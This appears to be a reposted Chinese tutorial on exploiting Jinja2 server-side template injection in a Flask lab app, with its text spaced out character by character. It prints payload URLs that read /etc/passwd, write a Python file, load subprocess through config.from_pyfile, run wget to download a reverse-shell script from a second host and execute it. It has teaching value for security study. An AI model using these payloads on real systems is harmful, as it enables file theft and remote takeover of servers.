搜索

[11452] 2017-06-13_FlaskJinja2开发中遇到的的服务端注入问题研究II

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-18
2017-06-13_FlaskJinja2开发中遇到的的服务端注入问题研究II F l a s k J i n j a 2   开 发 中 遇 到 的 的 服 务 端 注 入 问 题 研 究   I I F o r r e s t X 3 8 6   F r e e B u f   2 0 1 7 - 0 6 - 1 3 0 x 0 0 .   前 言 前 言 本 篇 文 章 是 本 篇 文 章 是   《 《 F l a s k   J i n j a 2   开 发 中 遇 到 的 的 服 务 端 注 入 问 题 研 究 》 开 发 中 遇 到 的 的 服 务 端 注 入 问 题 研 究 》 < 点 击 阅 读 原 文 查 看 链 接 点 击 阅 读 原 文 查 看 链 接 > 续 篇 ， 我 们 继 续 研 究 续 篇 ， 我 们 继 续 研 究   F l a s k J i n j a 2 开 发 中 遇 到 的 开 发 中 遇 到 的 S S T I 问 题 ， 本 篇 文 章 会 介 绍 新 的 利 用 方 式 。 问 题 ， 本 篇 文 章 会 介 绍 新 的 利 用 方 式 。 0 × 0 1 .   测 试 代 码 测 试 代 码 为 了 更 好 地 演 示 F l a s k / J i n j a 2   开 发 中 的 S S T I 问 题 ， 我 们 搭 建 一 个 小 的 P O C 程 序 ， 主 要 由 两 个 p y t h o n 脚 本 组 成 ，   其 中 p a g e _ n o t _ f o u n d   存 在 S S T I 漏 洞 ： F l a s k - t e s t . p y
C o n f i g . p y 执 行   p y t h o n   F l a s k - t e s t . p y   0 × 0 2 .   F l a s k / J i n j a 2   开 发 中 的 开 发 中 的 S S T I   利 用 之 任 意 文 件 读 取 利 用 之 任 意 文 件 读 取 先 介 绍 一 些 概 念 关 于 类 对 象 关 于 类 对 象
i n s t a n c e . _ _ c l a s s _ _   可 以 获 取 当 前 实 例 的 类 对 象 我 们 知 道 p y t h o n 中 新 式 类 （ 也 就 是 显 示 继 承 o b j e c t 对 象 的 类 ） 都 有 一 个 属 性 _ _ c l a s s _ _ 可 以 获 取 到 当 前 实 例 对 应 的 类 ， 随 便 选 择 一 个 简 单 的 新 式 类 实 例 ， 比 如 ” , 一 个 空 字 符 串 ， 就 是 一 个 新 式 类 实 例 ， 所 以 ” . _ _ c l a s s _ _   就 可 以 获 取 到 实 例 对 应 的 类 （ 也 就 是 < t y p e   ‘ s t r ’ > ） 类 对 象 中 的 属 性 类 对 象 中 的 属 性 _ _ m r o _ _ c l a s s . _ _ m r o _ _   获 取 当 前 类 对 象 的 所 有 继 承 类 p y t h o n 中 类 对 象 有 一 个 属 性 _ _ m r o _ _ ，   这 个 属 性 返 回 一 个 t u p l e 对 象 ， 这 个 对 象 包 含 了 当 前 类 对 象 所 有 继 承 的 基 类 ， t u p l e 中 元 素 的 顺 序 就 是 M R O （ M e t h o d   R e s o l u t i o n   O r d e r ）   寻 找 的 顺 序 h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { ” . _ _ c l a s s _ _ . _ _ m r o _ _ } } 从 结 果 中 可 以 发 现 ” 对 应 的 类 对 象 s t r 继 承 的 顺 序 是 b a s e s t r i n g - > o b j e c t 类 对 象 中 的 方 法 类 对 象 中 的 方 法 _ _ s u b c l a s s e s _ _ ( )   每 一 个 新 式 类 都 保 留 了 它 所 有 的 子 类 的 引 用 ， _ _ s u b c l a s s e s _ _ ( ) 这 个 方 法 返 回 了 类 的 所 有 存 活 的 子 类 的 引 用 （ 注 意 是 类 对 象 引 用 ， 不 是 实 例 ） 我 们 知 道 p y t h o n 中 的 类 都 是 继 承 o b j e c t 的 ， 所 以 只 要 调 用 o b j e c t 类 对 象 的 _ _ s u b c l a s s e s _ _ ( ) 方 法 就 可 以 获 取 我 们 想 要 的 类 的 对 象 ， 比 如 用 于 读 取 文 件 的 f i l e 对 象 开 始 漏 洞 利 用 开 始 漏 洞 利 用 首 先 获 取 o b j e c t 对 象 的 所 有 子 类 引 用 列 表 h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { ” . _ _ c l a s s _ _ . _ _ m r o _ _ [ 2 ] . _ _ s u b c l a s s e s _ _ ( ) } } ” . _ _ c l a s s _ _ . _ _ m r o _ _ [ 2 ]   获 取 的 就 是 o b j e c t   类 对 象 （ < t y p e   ‘ o b j e c t ’ > ）
从 执 行 结 果 中 可 以 看 到 ， 获 取 到 非 常 多 的 子 类 类 对 象 引 用 ， 这 里 我 们 比 较 关 注 的 是 f i l e 类 对 象 ( < t y p e   ‘ f i l e ’ > ) ,   可 以 用 来 进 行 文 件 读 取 我 们 选 取 f i l e   类 对 象 ， 并 实 例 化 一 个 匿 名 实 例 ， 给 其 传 入 参 数   ‘ / e t c / p a s s w d ’ h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { ” . _ _ c l a s s _ _ . _ _ m r o _ _ [ 2 ] . _ _ s u b c l a s s e s _ _ ( ) [ 4 0 ] ( ‘ / e t c / p a s s w d ’ ) . r e a d ( ) } } 可 以 看 到 成 功 实 现 了 任 意 文 件 读 取 0 × 0 3 .   F l a s k / J i n j a 2   开 发 中 的 开 发 中 的 S S T I   利 用 之 远 程 代 码 执 行 利 用 之 远 程 代 码 执 行 1   首 先 向 服 务 器 写 入 一 个 首 先 向 服 务 器 写 入 一 个 p y 代 码 的 文 件 代 码 的 文 件 / t m p / t m p . c f g 访 问 如 下 U R L h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { ” . _ _ c l a s s _ _ . _ _ m r o _ _ [ 2 ] . _ _ s u b c l a s s e s _ _ ( ) [ 4 0 ] ( ‘ / t m p / t m p . c f g ’ ,   ‘ w ’ ) . w r i t e ( ‘ f r o m   s u b p r o c e s s   i m p o r t   c h e c k _ o u t p u t n n R U N C M D   =   c h e c k _ o u t p u t n   ‘ ) } } 注 ： 注 ：   这 里 需 要 注 意 直 接 在 浏 览 器 中 访 问 这 个 这 里 需 要 注 意 直 接 在 浏 览 器 中 访 问 这 个 U R L ， 浏 览 器 自 动 将 ， 浏 览 器 自 动 将 n   变 成 变 成 / n ,   所 以 要 用 所 以 要 用 b u r p s u i t e   的 的 r e p e a t e r   功 能 辅 助 一 下 功 能 辅 助 一 下
至 此 写 入 文 件 成 功 2   利 用 利 用 F l a s k   T e m p l a t e   G l o b a l s   中 的 中 的 c o n f i g 上 下 文 对 象 导 入 上 下 文 对 象 导 入 p y 代 码 代 码 上 一 篇 《 F l a s k   J i n j a 2 开 发 中 遇 到 的 的 服 务 端 注 入 问 题 研 究 》 中 我 们 提 到 了 r e n d e r _ t e m p l a t e _ s t r i n g   函 数 中 第 二 个 参 数 c o n t e x t   这 个 上 下 文 对 象 参 数   默 认 值 中 就 包 含 了 F l a s k   T e m p l a t e   G l o b a l s   所 有 的 全 局 变 量 ， 其 中 就 包 括 c o n f i g 这 个 上 下 文 对 象 （ 源 代 码 F l a s k / c o n f i g . p y ） , f r o m _ p y f i l e   用 于 导 入 指 定 的 p y 文 件 ， 源 代 码 如 下 ： 这 段 代 码 的 意 思 就 是 将 指 定 的 p y 文 件 导 入 ， 然 后 将 导 入 的 p y 文 件 中 的 大 写 成 员 属 性 加 入 到 c o n f i g 这 个 上 下 文 对 象 中 （ 这 就 是 为 什 么 我 用 R U N C M D 了 ， 大 写 ） 先 访 问 ： h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { c o n f i g . f r o m _ p y f i l e ( ‘ / t m p / t m p . c f g ’ ) } }
再 访 问 ： h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { c o n f i g . i t e m s ( ) } } 至 此 ， 我 们 已 经 将 R U N C M D 导 入 到 c o n f i g 这 个 模 板 上 下 文 对 象 中 了 ， 而 R U N C M D 指 向 s u b p r o c e s s . c h e c k _ o u t p u t 3   利 用 注 入 的 利 用 注 入 的 R U N C M D   执 行 系 统 命 令 下 载 反 弹 执 行 系 统 命 令 下 载 反 弹 s h e l l 访 问 ： h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { c o n f i g [ ' R U N C M D ' ] ( ‘ / u s r / b i n / w g e t   h t t p : / / 1 0 . 1 . 1 0 0 . 2 / b a c k S h e l l . p y   - O   / t m p / x ’ ,   s h e l l = T r u e ) } } 从 执 行 结 果 来 看 ， 反 弹 s h e l l 下 载 成 功 4   利 用 利 用 c o n f i g   上 下 文 对 象 的 上 下 文 对 象 的 f r o m _ p y f i l e 方 法 导 入 反 弹 方 法 导 入 反 弹 s h e l l 我 们 知 道 p y t h o n 在 导 入 模 块 的 同 时 也 会 执 行 脚 本 中 部 分 代 码 （ c l a s s   和 方 法 的 定 义 不 会 执 行 ） ， 利 用 这 一 点 ， 就 可 以 执 行 反 弹 s h e l l   了 访 问 ： h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { c o n f i g . f r o m _ p y f i l e ( ‘ / t m p / x ’ ) } }
成 功 反 弹 s h e l l *   本 文 作 者 ： F o r r e s t X 3 8 6 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理